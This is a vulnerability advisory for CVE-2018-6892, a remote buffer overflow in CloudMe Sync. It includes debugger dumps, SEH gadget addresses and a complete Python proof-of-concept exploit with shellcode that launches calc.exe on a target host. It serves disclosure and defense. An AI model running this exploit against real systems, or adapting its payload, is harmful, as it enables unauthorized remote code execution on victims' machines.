CloudMe Sync / Unauthenticated Remote Buffer Overflow

us hyp3rlinx (US) us
Risk: High
Local: Yes
Remote: Yes
CWE: CWE-119

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[+] Credits: John Page (aka hyp3rlinx) [+] Website: [+] Source: [+] ISR: Apparition Security [+] SSD Beyond Security Submission: Vendor: ============= Product: =========== CloudMe Sync <= v1.10.9 (CloudMe_1109.exe) hash: 0e83351dbf86562a70d1999df7674aa0 CloudMe is a file storage service operated by CloudMe AB that offers cloud storage, file synchronization and client software. It features a blue folder that appears on all devices with the same content, all files are synchronized between devices. Vulnerability Type: =================== Buffer Overflow CVE Reference: ============== CVE-2018-6892 Security Issue: ================ Unauthenticated remote attackers that can connect to the "CloudMe Sync" client application listening on port 8888, can send a malicious payload causing a Buffer Overflow condition. This will result in an attacker controlling the programs execution flow and allowing arbitrary code execution on the victims PC. CloudMe Sync client creates a socket listening on TCP Port 8888 (0x22B8) In Qt5Core: 00564DF1 . C74424 04 B822>MOV DWORD PTR SS:[ESP+4],22B8 00564DF9 . 890424 MOV DWORD PTR SS:[ESP],EAX 00564DFC . FF15 B8738100 CALL DWORD PTR DS:[<&Qt5Network._ZN10QTc>; Qt5Netwo._ZN10QTcpServer6listenERK12QHostAddresst C:\>netstat -ano | findstr 8888 TCP LISTENING 15504 TCP [::]:8888 [::]:0 LISTENING 15504 Buffer Overflow: ================ EIP register will be overwritten at about 1075 bytes. EAX 00000001 ECX 76F698DA msvcrt.76F698DA EDX 00350000 EBX 41414141 ESP 0028D470 EBP 41414141 ESI 41414141 EDI 41414141 EIP 41414141 Stack Dump: ========== (508.524): Access violation - code c0000005 (first/second chance not available) *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll - eax=00000000 ebx=00000000 ecx=41414141 edx=778f353d esi=00000000 edi=00000000 eip=41414141 esp=00091474 ebp=00091494 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? Exploitation is very easy as ASLR SafeSEH are all set to false making the exploit portable and able to work across different operating systems. We will therefore use Structured Exceptional Handler overwrite for our exploit. e.g. 6FE6909D 0x6fe6909d : pop ebx # pop esi # ret 0x20 | {PAGE_EXECUTE_READ} [libstdc++-6.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\victimo\AppData\Local\Programs\CloudMe\CloudMe\libstdc++-6.dll) 00476795 0x00476795 : pop ebx # pop esi # ret 0x20 | startnull {PAGE_EXECUTE_READ} [CloudMe.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\victimo\AppData\Local\Programs\CloudMe\CloudMe\CloudMe.exe) 61E7B7F6 0x61e7b7f6 : pop ebx # pop esi # ret 0x20 | {PAGE_EXECUTE_READ} [Qt5Gui.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:\Users\victimo\AppData\Local\Programs\CloudMe\CloudMe\Qt5Gui.dll) 0day Exploit POC: ============== import socket,struct print 'CloudMe Sync v1.10.9' print 'Unauthenticated Remote Buffer Overflow 0day' print 'Discovery/credits: hyp3rlinx' print 'apparition security\n' #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") ip=raw_input('[+] CloudMe Target IP> ') nseh="\xEB\x06"+"\x90"*2 #JMP seh=struct.pack('<L',0x61e7b7f6) #POP,POP RET junk="A"*2232+nseh+seh+sc+"B"*5600 payload=junk+nseh+seh+sc def PwnMe(ip,payload): s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,8888)) s.send(payload) print 'Sending buffer overflow packetz' raw_input() if __name__ == '__main__': PwnMe(ip,payload) References: ============ POC Video URL: ============= Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= SSD Vulnerability submission: January 17, 2018 Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability. More details can be found on their blog at: February 11, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx


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